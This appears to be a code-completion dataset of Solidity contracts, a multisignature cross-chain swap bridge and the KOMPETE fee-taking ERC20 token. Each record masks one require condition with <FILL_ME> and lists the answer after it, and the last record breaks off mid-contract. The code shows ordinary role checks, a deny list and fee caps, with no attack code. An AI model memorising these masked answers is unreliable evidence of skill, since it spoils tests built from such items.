bytes memory concatSignatures
)
external
onlyRelayer
whenNotPaused
{
}
// OTHER BLOCKCHAIN MANAGEMENT
/**
* @dev Registers another blockchain for availability to swap
* @param numOfOtherBlockchain number of blockchain
*/
function addOtherBlockchain(
uint128 numOfOtherBlockchain
)
external
onlyOwner
{
}
/**
* @dev Unregisters another blockchain for availability to swap
* @param numOfOtherBlockchain number of blockchain
*/
function removeOtherBlockchain(
uint128 numOfOtherBlockchain
)
external
onlyOwner
{
}
/**
* @dev Change existing blockchain id
* @param oldNumOfOtherBlockchain number of existing blockchain
* @param newNumOfOtherBlockchain number of new blockchain
*/
function changeOtherBlockchain(
uint128 oldNumOfOtherBlockchain,
uint128 newNumOfOtherBlockchain
)
external
onlyOwner
{
require(
oldNumOfOtherBlockchain != newNumOfOtherBlockchain,
"swapContract: Cannot change blockchains with same number"
);
require(
newNumOfOtherBlockchain != numOfThisBlockchain,
"swapContract: Cannot add this blockchain to array of other blockchains"
);
require(
existingOtherBlockchain[oldNumOfOtherBlockchain],
"swapContract: This blockchain was not added"
);
require(<FILL_ME>)
existingOtherBlockchain[oldNumOfOtherBlockchain] = false;
existingOtherBlockchain[newNumOfOtherBlockchain] = true;
}
// FEE MANAGEMENT
/**
* @dev Changes address which receives fees from transfers
* @param newFeeAddress New address for fees
*/
function changeFeeAddress(address newFeeAddress) external onlyOwnerAndManager
{
}
/**
* @dev Changes fee values for blockchains in feeAmountOfBlockchain variables
* @param blockchainNum Existing number of blockchain
* @param feeAmount Fee amount to substruct from transfer amount
*/
function setFeeAmountOfBlockchain(uint128 blockchainNum, uint128 feeAmount) external onlyOwnerAndManager
{
}
// VALIDATOR CONFIRMATIONS MANAGEMENT
/**
* @dev Changes requirement for minimal amount of signatures to validate on transfer
* @param _minConfirmationSignatures Number of signatures to verify
*/
function setMinConfirmationSignatures(uint256 _minConfirmationSignatures) external onlyOwner {
}
/**
* @dev Changes requirement for minimal token amount on transfers
* @param _minTokenAmount Amount of tokens
*/
function setMinTokenAmount(uint256 _minTokenAmount) external onlyOwnerAndManager {
}
/**
* @dev Changes parameter of maximum gas price on which relayer nodes will operate
* @param _maxGasPrice Price of gas in wei
*/
function setMaxGasPrice(uint256 _maxGasPrice) external onlyOwnerAndManager {
}
/**
* @dev Changes requirement for minimal amount of block to consider tx confirmed on validator
* @param _minConfirmationBlocks Amount of blocks
*/
function setMinConfirmationBlocks(uint256 _minConfirmationBlocks) external onlyOwnerAndManager {
}
/**
* @dev Transfers permissions of contract ownership.
* Will setup new owner and one manager on contract.
* Main purpose of this function is to transfer ownership from deployer account to real owner
* @param newOwner Address of new owner
* @param newManager Address of new manager
*/
function transferOwnerAndSetManager(address newOwner, address newManager) external onlyOwner {
}
/**
* @dev Pauses transfers of tokens on contract
*/
function pauseExecution() external onlyOwner {
}
/**
* @dev Resumes transfers of tokens on contract
*/
function continueExecution() external onlyOwner {
}
/**
* @dev Function to check if address is belongs to owner role
* @param account Address to check
*/
function isOwner(address account) public view returns (bool) {
}
/**
* @dev Function to check if address is belongs to manager role
* @param account Address to check
*/
function isManager(address account) public view returns (bool) {
}
/**
* @dev Function to check if address is belongs to relayer role
* @param account Address to check
*/
function isRelayer(address account) public view returns (bool) {
}
/**
* @dev Function to check if address is belongs to validator role
* @param account Address to check
*
*/
function isValidator(address account) public view returns (bool) {
}
/**
* @dev Function to check if transfer of tokens on previous
* transaction from other blockchain was executed
* @param originalTxHash Transaction hash to check
*/
function isProcessedTransaction(bytes32 originalTxHash) public view returns (bool processed, bytes32 hashedParams) {
}
}
| !existingOtherBlockchain[newNumOfOtherBlockchain],"swapContract: This blockchain is already added" | 411,644 | !existingOtherBlockchain[newNumOfOtherBlockchain] |
"swapContract: New owner cannot be current owner" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/access/AccessControlEnumerable.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "./ECDSAOffsetRecovery.sol";
import "./TransferHelper.sol";
/// @title Swap contract for multisignature bridge
contract SwapContract is AccessControlEnumerable, Pausable, ECDSAOffsetRecovery
{
bytes32 public constant OWNER_ROLE = keccak256("OWNER_ROLE");
bytes32 public constant MANAGER_ROLE = keccak256("MANAGER_ROLE");
bytes32 public constant RELAYER_ROLE = keccak256("RELAYER_ROLE");
bytes32 public constant VALIDATOR_ROLE = keccak256("VALIDATOR_ROLE");
IERC20 public tokenAddress;
address public feeAddress;
uint128 public numOfThisBlockchain;
mapping(uint128 => bool) public existingOtherBlockchain;
mapping(uint128 => uint128) public feeAmountOfBlockchain;
uint256 public constant SIGNATURE_LENGTH = 65;
mapping(bytes32 => bytes32) public processedTransactions;
uint256 public minConfirmationSignatures;
uint256 public minTokenAmount;
uint256 public maxGasPrice;
uint256 public minConfirmationBlocks;
event TransferFromOtherBlockchain(address user, uint256 amount, uint256 amountWithoutFee, bytes32 originalTxHash);
event TransferToOtherBlockchain(uint128 blockchain, address user, uint256 amount, string newAddress);
/**
* @dev throws if transaction sender is not in owner role
*/
modifier onlyOwner() {
}
/**
* @dev throws if transaction sender is not in owner or manager role
*/
modifier onlyOwnerAndManager() {
}
/**
* @dev throws if transaction sender is not in relayer role
*/
modifier onlyRelayer() {
}
/**
* @dev Constructor of contract
* @param _tokenAddress address Address of token contract
* @param _feeAddress Address to receive deducted fees
* @param _numOfThisBlockchain Number of blockchain where contract is deployed
* @param _numsOfOtherBlockchains List of blockchain number that is supported by bridge
* @param _minConfirmationSignatures Number of required signatures for token swap
* @param _minTokenAmount Minimal amount of tokens required for token swap
* @param _maxGasPrice Maximum gas price on which relayer nodes will operate
* @param _minConfirmationBlocks Minimal amount of blocks for confirmation on validator nodes
*/
constructor(
IERC20 _tokenAddress,
address _feeAddress,
uint128 _numOfThisBlockchain,
uint128 [] memory _numsOfOtherBlockchains,
uint128 _minConfirmationSignatures,
uint256 _minTokenAmount,
uint256 _maxGasPrice,
uint256 _minConfirmationBlocks
)
{
}
/**
* @dev Returns true if blockchain of passed id is registered to swap
* @param blockchain number of blockchain
*/
function getOtherBlockchainAvailableByNum(uint128 blockchain) external view returns (bool)
{
}
/**
* @dev Transfers tokens from sender to the contract.
* User calls this function when he wants to transfer tokens to another blockchain.
* @param blockchain Number of blockchain
* @param amount Amount of tokens
* @param newAddress Address in the blockchain to which the user wants to transfer
*/
function transferToOtherBlockchain(uint128 blockchain, uint256 amount, string memory newAddress) external whenNotPaused
{
}
/**
* @dev Transfers tokens to end user in current blockchain
* @param user User address
* @param amountWithFee Amount of tokens with included fees
* @param originalTxHash Hash of transaction from other network, on which swap was called
* @param concatSignatures Concatenated string of signature bytes for verification of transaction
*/
function transferToUserWithFee(
address user,
uint256 amountWithFee,
bytes32 originalTxHash,
bytes memory concatSignatures
)
external
onlyRelayer
whenNotPaused
{
}
// OTHER BLOCKCHAIN MANAGEMENT
/**
* @dev Registers another blockchain for availability to swap
* @param numOfOtherBlockchain number of blockchain
*/
function addOtherBlockchain(
uint128 numOfOtherBlockchain
)
external
onlyOwner
{
}
/**
* @dev Unregisters another blockchain for availability to swap
* @param numOfOtherBlockchain number of blockchain
*/
function removeOtherBlockchain(
uint128 numOfOtherBlockchain
)
external
onlyOwner
{
}
/**
* @dev Change existing blockchain id
* @param oldNumOfOtherBlockchain number of existing blockchain
* @param newNumOfOtherBlockchain number of new blockchain
*/
function changeOtherBlockchain(
uint128 oldNumOfOtherBlockchain,
uint128 newNumOfOtherBlockchain
)
external
onlyOwner
{
}
// FEE MANAGEMENT
/**
* @dev Changes address which receives fees from transfers
* @param newFeeAddress New address for fees
*/
function changeFeeAddress(address newFeeAddress) external onlyOwnerAndManager
{
}
/**
* @dev Changes fee values for blockchains in feeAmountOfBlockchain variables
* @param blockchainNum Existing number of blockchain
* @param feeAmount Fee amount to substruct from transfer amount
*/
function setFeeAmountOfBlockchain(uint128 blockchainNum, uint128 feeAmount) external onlyOwnerAndManager
{
}
// VALIDATOR CONFIRMATIONS MANAGEMENT
/**
* @dev Changes requirement for minimal amount of signatures to validate on transfer
* @param _minConfirmationSignatures Number of signatures to verify
*/
function setMinConfirmationSignatures(uint256 _minConfirmationSignatures) external onlyOwner {
}
/**
* @dev Changes requirement for minimal token amount on transfers
* @param _minTokenAmount Amount of tokens
*/
function setMinTokenAmount(uint256 _minTokenAmount) external onlyOwnerAndManager {
}
/**
* @dev Changes parameter of maximum gas price on which relayer nodes will operate
* @param _maxGasPrice Price of gas in wei
*/
function setMaxGasPrice(uint256 _maxGasPrice) external onlyOwnerAndManager {
}
/**
* @dev Changes requirement for minimal amount of block to consider tx confirmed on validator
* @param _minConfirmationBlocks Amount of blocks
*/
function setMinConfirmationBlocks(uint256 _minConfirmationBlocks) external onlyOwnerAndManager {
}
/**
* @dev Transfers permissions of contract ownership.
* Will setup new owner and one manager on contract.
* Main purpose of this function is to transfer ownership from deployer account to real owner
* @param newOwner Address of new owner
* @param newManager Address of new manager
*/
function transferOwnerAndSetManager(address newOwner, address newManager) external onlyOwner {
require(newOwner != _msgSender(), "swapContract: New owner must be different than current");
require(newOwner != address(0x0), "swapContract: Owner cannot be zero address");
require(<FILL_ME>)
require(!hasRole(DEFAULT_ADMIN_ROLE, newOwner), "swapContract: New owner cannot be current default admin role");
require(newManager != address(0x0), "swapContract: Owner cannot be zero address");
_setupRole(DEFAULT_ADMIN_ROLE, newOwner);
_setupRole(OWNER_ROLE, newOwner);
_setupRole(MANAGER_ROLE, newManager);
renounceRole(OWNER_ROLE, _msgSender());
renounceRole(DEFAULT_ADMIN_ROLE, _msgSender());
}
/**
* @dev Pauses transfers of tokens on contract
*/
function pauseExecution() external onlyOwner {
}
/**
* @dev Resumes transfers of tokens on contract
*/
function continueExecution() external onlyOwner {
}
/**
* @dev Function to check if address is belongs to owner role
* @param account Address to check
*/
function isOwner(address account) public view returns (bool) {
}
/**
* @dev Function to check if address is belongs to manager role
* @param account Address to check
*/
function isManager(address account) public view returns (bool) {
}
/**
* @dev Function to check if address is belongs to relayer role
* @param account Address to check
*/
function isRelayer(address account) public view returns (bool) {
}
/**
* @dev Function to check if address is belongs to validator role
* @param account Address to check
*
*/
function isValidator(address account) public view returns (bool) {
}
/**
* @dev Function to check if transfer of tokens on previous
* transaction from other blockchain was executed
* @param originalTxHash Transaction hash to check
*/
function isProcessedTransaction(bytes32 originalTxHash) public view returns (bool processed, bytes32 hashedParams) {
}
}
| !hasRole(OWNER_ROLE,newOwner),"swapContract: New owner cannot be current owner" | 411,644 | !hasRole(OWNER_ROLE,newOwner) |
"swapContract: New owner cannot be current default admin role" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/access/AccessControlEnumerable.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "./ECDSAOffsetRecovery.sol";
import "./TransferHelper.sol";
/// @title Swap contract for multisignature bridge
contract SwapContract is AccessControlEnumerable, Pausable, ECDSAOffsetRecovery
{
bytes32 public constant OWNER_ROLE = keccak256("OWNER_ROLE");
bytes32 public constant MANAGER_ROLE = keccak256("MANAGER_ROLE");
bytes32 public constant RELAYER_ROLE = keccak256("RELAYER_ROLE");
bytes32 public constant VALIDATOR_ROLE = keccak256("VALIDATOR_ROLE");
IERC20 public tokenAddress;
address public feeAddress;
uint128 public numOfThisBlockchain;
mapping(uint128 => bool) public existingOtherBlockchain;
mapping(uint128 => uint128) public feeAmountOfBlockchain;
uint256 public constant SIGNATURE_LENGTH = 65;
mapping(bytes32 => bytes32) public processedTransactions;
uint256 public minConfirmationSignatures;
uint256 public minTokenAmount;
uint256 public maxGasPrice;
uint256 public minConfirmationBlocks;
event TransferFromOtherBlockchain(address user, uint256 amount, uint256 amountWithoutFee, bytes32 originalTxHash);
event TransferToOtherBlockchain(uint128 blockchain, address user, uint256 amount, string newAddress);
/**
* @dev throws if transaction sender is not in owner role
*/
modifier onlyOwner() {
}
/**
* @dev throws if transaction sender is not in owner or manager role
*/
modifier onlyOwnerAndManager() {
}
/**
* @dev throws if transaction sender is not in relayer role
*/
modifier onlyRelayer() {
}
/**
* @dev Constructor of contract
* @param _tokenAddress address Address of token contract
* @param _feeAddress Address to receive deducted fees
* @param _numOfThisBlockchain Number of blockchain where contract is deployed
* @param _numsOfOtherBlockchains List of blockchain number that is supported by bridge
* @param _minConfirmationSignatures Number of required signatures for token swap
* @param _minTokenAmount Minimal amount of tokens required for token swap
* @param _maxGasPrice Maximum gas price on which relayer nodes will operate
* @param _minConfirmationBlocks Minimal amount of blocks for confirmation on validator nodes
*/
constructor(
IERC20 _tokenAddress,
address _feeAddress,
uint128 _numOfThisBlockchain,
uint128 [] memory _numsOfOtherBlockchains,
uint128 _minConfirmationSignatures,
uint256 _minTokenAmount,
uint256 _maxGasPrice,
uint256 _minConfirmationBlocks
)
{
}
/**
* @dev Returns true if blockchain of passed id is registered to swap
* @param blockchain number of blockchain
*/
function getOtherBlockchainAvailableByNum(uint128 blockchain) external view returns (bool)
{
}
/**
* @dev Transfers tokens from sender to the contract.
* User calls this function when he wants to transfer tokens to another blockchain.
* @param blockchain Number of blockchain
* @param amount Amount of tokens
* @param newAddress Address in the blockchain to which the user wants to transfer
*/
function transferToOtherBlockchain(uint128 blockchain, uint256 amount, string memory newAddress) external whenNotPaused
{
}
/**
* @dev Transfers tokens to end user in current blockchain
* @param user User address
* @param amountWithFee Amount of tokens with included fees
* @param originalTxHash Hash of transaction from other network, on which swap was called
* @param concatSignatures Concatenated string of signature bytes for verification of transaction
*/
function transferToUserWithFee(
address user,
uint256 amountWithFee,
bytes32 originalTxHash,
bytes memory concatSignatures
)
external
onlyRelayer
whenNotPaused
{
}
// OTHER BLOCKCHAIN MANAGEMENT
/**
* @dev Registers another blockchain for availability to swap
* @param numOfOtherBlockchain number of blockchain
*/
function addOtherBlockchain(
uint128 numOfOtherBlockchain
)
external
onlyOwner
{
}
/**
* @dev Unregisters another blockchain for availability to swap
* @param numOfOtherBlockchain number of blockchain
*/
function removeOtherBlockchain(
uint128 numOfOtherBlockchain
)
external
onlyOwner
{
}
/**
* @dev Change existing blockchain id
* @param oldNumOfOtherBlockchain number of existing blockchain
* @param newNumOfOtherBlockchain number of new blockchain
*/
function changeOtherBlockchain(
uint128 oldNumOfOtherBlockchain,
uint128 newNumOfOtherBlockchain
)
external
onlyOwner
{
}
// FEE MANAGEMENT
/**
* @dev Changes address which receives fees from transfers
* @param newFeeAddress New address for fees
*/
function changeFeeAddress(address newFeeAddress) external onlyOwnerAndManager
{
}
/**
* @dev Changes fee values for blockchains in feeAmountOfBlockchain variables
* @param blockchainNum Existing number of blockchain
* @param feeAmount Fee amount to substruct from transfer amount
*/
function setFeeAmountOfBlockchain(uint128 blockchainNum, uint128 feeAmount) external onlyOwnerAndManager
{
}
// VALIDATOR CONFIRMATIONS MANAGEMENT
/**
* @dev Changes requirement for minimal amount of signatures to validate on transfer
* @param _minConfirmationSignatures Number of signatures to verify
*/
function setMinConfirmationSignatures(uint256 _minConfirmationSignatures) external onlyOwner {
}
/**
* @dev Changes requirement for minimal token amount on transfers
* @param _minTokenAmount Amount of tokens
*/
function setMinTokenAmount(uint256 _minTokenAmount) external onlyOwnerAndManager {
}
/**
* @dev Changes parameter of maximum gas price on which relayer nodes will operate
* @param _maxGasPrice Price of gas in wei
*/
function setMaxGasPrice(uint256 _maxGasPrice) external onlyOwnerAndManager {
}
/**
* @dev Changes requirement for minimal amount of block to consider tx confirmed on validator
* @param _minConfirmationBlocks Amount of blocks
*/
function setMinConfirmationBlocks(uint256 _minConfirmationBlocks) external onlyOwnerAndManager {
}
/**
* @dev Transfers permissions of contract ownership.
* Will setup new owner and one manager on contract.
* Main purpose of this function is to transfer ownership from deployer account to real owner
* @param newOwner Address of new owner
* @param newManager Address of new manager
*/
function transferOwnerAndSetManager(address newOwner, address newManager) external onlyOwner {
require(newOwner != _msgSender(), "swapContract: New owner must be different than current");
require(newOwner != address(0x0), "swapContract: Owner cannot be zero address");
require(!hasRole(OWNER_ROLE, newOwner), "swapContract: New owner cannot be current owner");
require(<FILL_ME>)
require(newManager != address(0x0), "swapContract: Owner cannot be zero address");
_setupRole(DEFAULT_ADMIN_ROLE, newOwner);
_setupRole(OWNER_ROLE, newOwner);
_setupRole(MANAGER_ROLE, newManager);
renounceRole(OWNER_ROLE, _msgSender());
renounceRole(DEFAULT_ADMIN_ROLE, _msgSender());
}
/**
* @dev Pauses transfers of tokens on contract
*/
function pauseExecution() external onlyOwner {
}
/**
* @dev Resumes transfers of tokens on contract
*/
function continueExecution() external onlyOwner {
}
/**
* @dev Function to check if address is belongs to owner role
* @param account Address to check
*/
function isOwner(address account) public view returns (bool) {
}
/**
* @dev Function to check if address is belongs to manager role
* @param account Address to check
*/
function isManager(address account) public view returns (bool) {
}
/**
* @dev Function to check if address is belongs to relayer role
* @param account Address to check
*/
function isRelayer(address account) public view returns (bool) {
}
/**
* @dev Function to check if address is belongs to validator role
* @param account Address to check
*
*/
function isValidator(address account) public view returns (bool) {
}
/**
* @dev Function to check if transfer of tokens on previous
* transaction from other blockchain was executed
* @param originalTxHash Transaction hash to check
*/
function isProcessedTransaction(bytes32 originalTxHash) public view returns (bool processed, bytes32 hashedParams) {
}
}
| !hasRole(DEFAULT_ADMIN_ROLE,newOwner),"swapContract: New owner cannot be current default admin role" | 411,644 | !hasRole(DEFAULT_ADMIN_ROLE,newOwner) |
"Address denied" | pragma solidity ^0.8.0;
contract KOMPETE is ERC20, AccessControl {
using SafeMath for uint256;
using SafeERC20 for ERC20;
uint8 private constant DECIMALS = 10;
uint256 public liquidityFee = 200; // 2%
uint256 public marketingFee = 1000; // 10%
uint16 public constant MAX_FEE = 2000; // 20%
uint256 public constant MAX_TOKEN_PER_WALLET = 10000000 * 10**DECIMALS; // Max holding limit, 1.00% of supply
bytes32 public constant EXCLUDED_FROM_FEE_ROLE = keccak256("EXCLUDED_FROM_FEE_ROLE");
bytes32 public constant EXCLUDED_FROM_ANTIWHALE_ROLE = keccak256("EXCLUDED_FROM_ANTIWHALE_ROLE");
bytes32 public constant DENIED_ROLE = keccak256("DENIED_ROLE");
address public marketingAddress = 0xFEF90843630d43869877769DE31fC9Aa8D6252F8;
address public constant BURN_ADDRESS = 0x000000000000000000000000000000000000dEaD;
IUniswapV2Router02 public swapRouter;
address public swapPair;
address public liquidityOwner;
bool public processFeesEnabled = true;
bool private _processingFees;
uint256 public numTokensToSwap = 4000000 * 10**DECIMALS;
mapping(address => bool) private _lpPools;
event SwapRouterUpdated(address indexed router, address indexed pair);
event AddLiquidity(uint256 amountToken, uint256 amountETH);
event SendToMarketing(address indexed recipient, uint256 amountToken);
modifier notDenied(address account) {
require(<FILL_ME>)
_;
}
modifier lockTheSwap() {
}
modifier antiWhale(
address sender,
address recipient,
uint256 amount
) {
}
constructor() ERC20("KOMPETE Token", "KOMPETE") {
}
// receive ETH when swaping
receive() external payable {}
function decimals() public view virtual override returns (uint8) {
}
function totalFees() public view returns (uint256) {
}
function setLiquidityFee(uint256 _liquidityFee) external onlyRole(DEFAULT_ADMIN_ROLE) {
}
function setMarketingFee(uint256 _marketingFee) external onlyRole(DEFAULT_ADMIN_ROLE) {
}
/// @dev Roles must be granted manually after changing the address
function setMarketingAddress(address newAddress) external onlyRole(DEFAULT_ADMIN_ROLE) {
}
function setLiquidityOwner(address newOwner) external onlyRole(DEFAULT_ADMIN_ROLE) {
}
function updateSwapRouter(address _newRouter) external onlyRole(DEFAULT_ADMIN_ROLE) {
}
function setProcessFeesEnabled(bool _enabled) external onlyRole(DEFAULT_ADMIN_ROLE) {
}
function processFees(uint256 amount, uint256 minAmountOut) external onlyRole(DEFAULT_ADMIN_ROLE) {
}
function isExcludedFromFee(address account) public view returns (bool) {
}
function isExcludedAntiWhale(address account) public view returns (bool) {
}
function isLpPool(address pairAddress) public view returns (bool) {
}
function setIsLpPool(address pairAddress, bool isLp) external onlyRole(DEFAULT_ADMIN_ROLE) {
}
function setNumTokensToSwap(uint256 amount) external onlyRole(DEFAULT_ADMIN_ROLE) {
}
function _transfer(
address from,
address to,
uint256 amount
) internal override notDenied(from) notDenied(to) antiWhale(from, to, amount) {
}
function _processFees(uint256 tokenAmount, uint256 minAmountOut) private lockTheSwap {
}
/// @dev Swap tokens for eth
function swapTokensForEth(uint256 tokenAmount, uint256 minAmountOut) private {
}
/// @dev Add liquidity
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
}
function sendToMarketing(uint256 amount) private {
}
}
| !hasRole(DENIED_ROLE,account),"Address denied" | 411,727 | !hasRole(DENIED_ROLE,account) |
"Wallet exceeds max" | pragma solidity ^0.8.0;
contract KOMPETE is ERC20, AccessControl {
using SafeMath for uint256;
using SafeERC20 for ERC20;
uint8 private constant DECIMALS = 10;
uint256 public liquidityFee = 200; // 2%
uint256 public marketingFee = 1000; // 10%
uint16 public constant MAX_FEE = 2000; // 20%
uint256 public constant MAX_TOKEN_PER_WALLET = 10000000 * 10**DECIMALS; // Max holding limit, 1.00% of supply
bytes32 public constant EXCLUDED_FROM_FEE_ROLE = keccak256("EXCLUDED_FROM_FEE_ROLE");
bytes32 public constant EXCLUDED_FROM_ANTIWHALE_ROLE = keccak256("EXCLUDED_FROM_ANTIWHALE_ROLE");
bytes32 public constant DENIED_ROLE = keccak256("DENIED_ROLE");
address public marketingAddress = 0xFEF90843630d43869877769DE31fC9Aa8D6252F8;
address public constant BURN_ADDRESS = 0x000000000000000000000000000000000000dEaD;
IUniswapV2Router02 public swapRouter;
address public swapPair;
address public liquidityOwner;
bool public processFeesEnabled = true;
bool private _processingFees;
uint256 public numTokensToSwap = 4000000 * 10**DECIMALS;
mapping(address => bool) private _lpPools;
event SwapRouterUpdated(address indexed router, address indexed pair);
event AddLiquidity(uint256 amountToken, uint256 amountETH);
event SendToMarketing(address indexed recipient, uint256 amountToken);
modifier notDenied(address account) {
}
modifier lockTheSwap() {
}
modifier antiWhale(
address sender,
address recipient,
uint256 amount
) {
if (!hasRole(EXCLUDED_FROM_ANTIWHALE_ROLE, recipient)) {
require(<FILL_ME>)
}
_;
}
constructor() ERC20("KOMPETE Token", "KOMPETE") {
}
// receive ETH when swaping
receive() external payable {}
function decimals() public view virtual override returns (uint8) {
}
function totalFees() public view returns (uint256) {
}
function setLiquidityFee(uint256 _liquidityFee) external onlyRole(DEFAULT_ADMIN_ROLE) {
}
function setMarketingFee(uint256 _marketingFee) external onlyRole(DEFAULT_ADMIN_ROLE) {
}
/// @dev Roles must be granted manually after changing the address
function setMarketingAddress(address newAddress) external onlyRole(DEFAULT_ADMIN_ROLE) {
}
function setLiquidityOwner(address newOwner) external onlyRole(DEFAULT_ADMIN_ROLE) {
}
function updateSwapRouter(address _newRouter) external onlyRole(DEFAULT_ADMIN_ROLE) {
}
function setProcessFeesEnabled(bool _enabled) external onlyRole(DEFAULT_ADMIN_ROLE) {
}
function processFees(uint256 amount, uint256 minAmountOut) external onlyRole(DEFAULT_ADMIN_ROLE) {
}
function isExcludedFromFee(address account) public view returns (bool) {
}
function isExcludedAntiWhale(address account) public view returns (bool) {
}
function isLpPool(address pairAddress) public view returns (bool) {
}
function setIsLpPool(address pairAddress, bool isLp) external onlyRole(DEFAULT_ADMIN_ROLE) {
}
function setNumTokensToSwap(uint256 amount) external onlyRole(DEFAULT_ADMIN_ROLE) {
}
function _transfer(
address from,
address to,
uint256 amount
) internal override notDenied(from) notDenied(to) antiWhale(from, to, amount) {
}
function _processFees(uint256 tokenAmount, uint256 minAmountOut) private lockTheSwap {
}
/// @dev Swap tokens for eth
function swapTokensForEth(uint256 tokenAmount, uint256 minAmountOut) private {
}
/// @dev Add liquidity
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
}
function sendToMarketing(uint256 amount) private {
}
}
| balanceOf(recipient).add(amount)<=MAX_TOKEN_PER_WALLET,"Wallet exceeds max" | 411,727 | balanceOf(recipient).add(amount)<=MAX_TOKEN_PER_WALLET |
"Tax too high" | pragma solidity ^0.8.0;
contract KOMPETE is ERC20, AccessControl {
using SafeMath for uint256;
using SafeERC20 for ERC20;
uint8 private constant DECIMALS = 10;
uint256 public liquidityFee = 200; // 2%
uint256 public marketingFee = 1000; // 10%
uint16 public constant MAX_FEE = 2000; // 20%
uint256 public constant MAX_TOKEN_PER_WALLET = 10000000 * 10**DECIMALS; // Max holding limit, 1.00% of supply
bytes32 public constant EXCLUDED_FROM_FEE_ROLE = keccak256("EXCLUDED_FROM_FEE_ROLE");
bytes32 public constant EXCLUDED_FROM_ANTIWHALE_ROLE = keccak256("EXCLUDED_FROM_ANTIWHALE_ROLE");
bytes32 public constant DENIED_ROLE = keccak256("DENIED_ROLE");
address public marketingAddress = 0xFEF90843630d43869877769DE31fC9Aa8D6252F8;
address public constant BURN_ADDRESS = 0x000000000000000000000000000000000000dEaD;
IUniswapV2Router02 public swapRouter;
address public swapPair;
address public liquidityOwner;
bool public processFeesEnabled = true;
bool private _processingFees;
uint256 public numTokensToSwap = 4000000 * 10**DECIMALS;
mapping(address => bool) private _lpPools;
event SwapRouterUpdated(address indexed router, address indexed pair);
event AddLiquidity(uint256 amountToken, uint256 amountETH);
event SendToMarketing(address indexed recipient, uint256 amountToken);
modifier notDenied(address account) {
}
modifier lockTheSwap() {
}
modifier antiWhale(
address sender,
address recipient,
uint256 amount
) {
}
constructor() ERC20("KOMPETE Token", "KOMPETE") {
}
// receive ETH when swaping
receive() external payable {}
function decimals() public view virtual override returns (uint8) {
}
function totalFees() public view returns (uint256) {
}
function setLiquidityFee(uint256 _liquidityFee) external onlyRole(DEFAULT_ADMIN_ROLE) {
require(<FILL_ME>)
liquidityFee = _liquidityFee;
}
function setMarketingFee(uint256 _marketingFee) external onlyRole(DEFAULT_ADMIN_ROLE) {
}
/// @dev Roles must be granted manually after changing the address
function setMarketingAddress(address newAddress) external onlyRole(DEFAULT_ADMIN_ROLE) {
}
function setLiquidityOwner(address newOwner) external onlyRole(DEFAULT_ADMIN_ROLE) {
}
function updateSwapRouter(address _newRouter) external onlyRole(DEFAULT_ADMIN_ROLE) {
}
function setProcessFeesEnabled(bool _enabled) external onlyRole(DEFAULT_ADMIN_ROLE) {
}
function processFees(uint256 amount, uint256 minAmountOut) external onlyRole(DEFAULT_ADMIN_ROLE) {
}
function isExcludedFromFee(address account) public view returns (bool) {
}
function isExcludedAntiWhale(address account) public view returns (bool) {
}
function isLpPool(address pairAddress) public view returns (bool) {
}
function setIsLpPool(address pairAddress, bool isLp) external onlyRole(DEFAULT_ADMIN_ROLE) {
}
function setNumTokensToSwap(uint256 amount) external onlyRole(DEFAULT_ADMIN_ROLE) {
}
function _transfer(
address from,
address to,
uint256 amount
) internal override notDenied(from) notDenied(to) antiWhale(from, to, amount) {
}
function _processFees(uint256 tokenAmount, uint256 minAmountOut) private lockTheSwap {
}
/// @dev Swap tokens for eth
function swapTokensForEth(uint256 tokenAmount, uint256 minAmountOut) private {
}
/// @dev Add liquidity
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
}
function sendToMarketing(uint256 amount) private {
}
}
| totalFees()-liquidityFee+_liquidityFee<=MAX_FEE,"Tax too high" | 411,727 | totalFees()-liquidityFee+_liquidityFee<=MAX_FEE |
"Tax too high" | pragma solidity ^0.8.0;
contract KOMPETE is ERC20, AccessControl {
using SafeMath for uint256;
using SafeERC20 for ERC20;
uint8 private constant DECIMALS = 10;
uint256 public liquidityFee = 200; // 2%
uint256 public marketingFee = 1000; // 10%
uint16 public constant MAX_FEE = 2000; // 20%
uint256 public constant MAX_TOKEN_PER_WALLET = 10000000 * 10**DECIMALS; // Max holding limit, 1.00% of supply
bytes32 public constant EXCLUDED_FROM_FEE_ROLE = keccak256("EXCLUDED_FROM_FEE_ROLE");
bytes32 public constant EXCLUDED_FROM_ANTIWHALE_ROLE = keccak256("EXCLUDED_FROM_ANTIWHALE_ROLE");
bytes32 public constant DENIED_ROLE = keccak256("DENIED_ROLE");
address public marketingAddress = 0xFEF90843630d43869877769DE31fC9Aa8D6252F8;
address public constant BURN_ADDRESS = 0x000000000000000000000000000000000000dEaD;
IUniswapV2Router02 public swapRouter;
address public swapPair;
address public liquidityOwner;
bool public processFeesEnabled = true;
bool private _processingFees;
uint256 public numTokensToSwap = 4000000 * 10**DECIMALS;
mapping(address => bool) private _lpPools;
event SwapRouterUpdated(address indexed router, address indexed pair);
event AddLiquidity(uint256 amountToken, uint256 amountETH);
event SendToMarketing(address indexed recipient, uint256 amountToken);
modifier notDenied(address account) {
}
modifier lockTheSwap() {
}
modifier antiWhale(
address sender,
address recipient,
uint256 amount
) {
}
constructor() ERC20("KOMPETE Token", "KOMPETE") {
}
// receive ETH when swaping
receive() external payable {}
function decimals() public view virtual override returns (uint8) {
}
function totalFees() public view returns (uint256) {
}
function setLiquidityFee(uint256 _liquidityFee) external onlyRole(DEFAULT_ADMIN_ROLE) {
}
function setMarketingFee(uint256 _marketingFee) external onlyRole(DEFAULT_ADMIN_ROLE) {
require(<FILL_ME>)
marketingFee = _marketingFee;
}
/// @dev Roles must be granted manually after changing the address
function setMarketingAddress(address newAddress) external onlyRole(DEFAULT_ADMIN_ROLE) {
}
function setLiquidityOwner(address newOwner) external onlyRole(DEFAULT_ADMIN_ROLE) {
}
function updateSwapRouter(address _newRouter) external onlyRole(DEFAULT_ADMIN_ROLE) {
}
function setProcessFeesEnabled(bool _enabled) external onlyRole(DEFAULT_ADMIN_ROLE) {
}
function processFees(uint256 amount, uint256 minAmountOut) external onlyRole(DEFAULT_ADMIN_ROLE) {
}
function isExcludedFromFee(address account) public view returns (bool) {
}
